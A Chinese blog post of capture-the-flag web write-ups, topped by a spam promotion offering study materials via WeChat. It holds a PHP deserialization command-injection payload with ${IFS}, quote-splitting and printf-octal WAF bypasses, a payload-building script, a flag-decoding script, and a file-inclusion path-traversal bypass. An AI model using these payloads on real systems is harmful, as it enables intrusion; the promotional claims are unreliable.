CTF_WP-攻防世界web题解,2024年最新字节跳动网络安全三面凉凉

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

$args=array('l""s${IFS}-l');

$args=array("l''s${IFS}-l"); 
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:6:"l''s-l";}}//外边是双引号的时候${IFS}被当成了变量跳过了

使用$args=array('l""s${IFS}-l');查看

image-20240323142615384

image-20240323142519871

ls -l
array(3) {
  [0]=>
  string(7) "total 8"
  [1]=>
  string(53) "drwxr-xr-x 1 root root 4096 Mar 23 05:14 flag_1s_here"
  [2]=>
  string(50) "-rwxr-xr-x 1 root root  863 Aug 18  2022 index.php"
}

说明:
total 8:这是 ls -l 命令的默认输出中的一部分,它显示了目录中所有文件的总计大小。这一行并不表示实际的文件或目录。

drwxr-xr-x 1 root root 4096 Dec 17 13:04 flag_1s_here:这是目录中一个子目录的信息。具体解释如下:
drwxr-xr-x:这是文件权限的表示,d 表示这是一个目录,后面的权限分别表示文件所有者、文件所属组和其他用户的权限。
1:这是链接计数,表示目录中包含的链接数。
root root:这是文件的所有者和所属组。
4096:这是文件的大小(以字节为单位),对于目录来说,它显示为 4096。
Dec 17 13:04:这是文件的最后修改时间。

-rwxr-xr-x 1 root root 863 Aug 18 07:49 index.php:这是目录中一个文件的信息。具体解释如下:
-rwxr-xr-x:这是文件权限的表示,- 表示这是一个普通文件,后面的权限分别表示文件所有者、文件所属组和其他用户的权限。
1:这是链接计数,表示文件的硬链接数。
root root:这是文件的所有者和所属组。
863:这是文件的大小(以字节为单位)。
Aug 18 07:49:这是文件的最后修改时间。

继续ls查看flag_1s_here:

$args=array('l""s${IFS}f""lag\_1s\_here');

image-20240323142903804

image-20240323142928244

查看flag_831b69012c67b35f.php:

image-20240323143240936

直接访问没有任何信息,应该需要看源码

printf绕过
printf绕过
printf 同时可以识别八进制表示或十六进制表示的字符串
printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位


那么 printf${IFS}"\57" 表示把 / 给输出出来 绕过waf检查

构造如下payloud

$args=array('ca""t${IFS}f""lag\_1s\_here$(printf${IFS}"\57")f""lag\_831b69012c67b35f.p""hp');

代码如下

<?php

class ease{
    
    private $method;
    private $args;
    function \_\_construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function \_\_wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$args=array('ca""t${IFS}f""lag\_1s\_here$(printf${IFS}"\57")f""lag\_831b69012c67b35f.p""hp');
$a=new ease("ping",$args);
$b=serialize($a);
print($b."\n");
$data=base64\_encode($b);
echo $data;


?>

image-20240323144143183

image-20240323144201080

image-20240323144441765

至此,已成艺术

绕过绕过绕过

总结:$命令替换、ls -l、waf绕过、空格绕过、printf绕过

参考:https://www.cnblogs.com/gradyblog/p/16989750.html

web2

image-20240317200746338

image-20240317200757080

对encode逆向解密miwen应该就是flag

<?php

function decode($str) {
    // ROT13 解密
    $str = str\_rot13($str);
    
    // 反转字符串
    $str = strrev($str);
    
    // Base64 解码
    $str = base64\_decode($str);
    
    // 字符替换,将每个字符的 ASCII 值减 1
    $decoded = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $decoded .= chr(ord(substr($str, $i, 1)) - 1);
    }

    //再次反转
    $decoded = strrev($decoded);
    
    return $decoded;
}

// 加密字符串
$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

// 解密加密字符串
$plaintext = decode($miwen);

// 输出解密结果
echo $plaintext;

?>

使用phpstudy,将文件放在WWW根目录下,浏览器访问即可

总结:解密

warmup

image-20240317203250603

image-20240317203309122

查看源码

image-20240317203321893

提示source.php

image-20240317203350469

并且还提到了一个hint.php,查看

image-20240317203435226

提示flag在这个里面

先看前面的源码source.php

  1. request接收参数file,判断是否为空、是否是string、checkfile
  2. 如果满足,则包含file
  3. 否则打印滑稽

所以应该是要把ffffllllaaaagggg文件包含进file,关键就是怎么绕过checkfile

接下看重点看checkfile函数,白名单被写死,return true的情况只有三种

  1. file在白名单中
  2. 在file末尾加了个?,?前的部分在白名单中
  3. 先将file进行url解码,然后同2

这里的file就是参数page,加?的目的应该是通过添加的?找到末尾坐标,但是正是这多此一举给了可趁之机,只需要先发制人,提前在file中加一个?,就可以让它解析错误,截取我们自己添加的?前面的部分

因此payload可以是hint.php?..ffffllllaaaagggg

但是由于ffffllllaaaagggg的路径不清楚,只能一个一个试,不停添加…/

最终拿到flag

image-20240317211145382

里面还有一个重点,就是在include ‘file’的时候,file是string类型的,然后从file中解析文件路径,因此才可以从hint.php?..ffffllllaaaagggg这种格式中解析出正确的ffffllllaaaagggg路径

image-20240317211538762

总结:php代码审计,绕过check

upload1

image-20240318115340599

  • 27
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值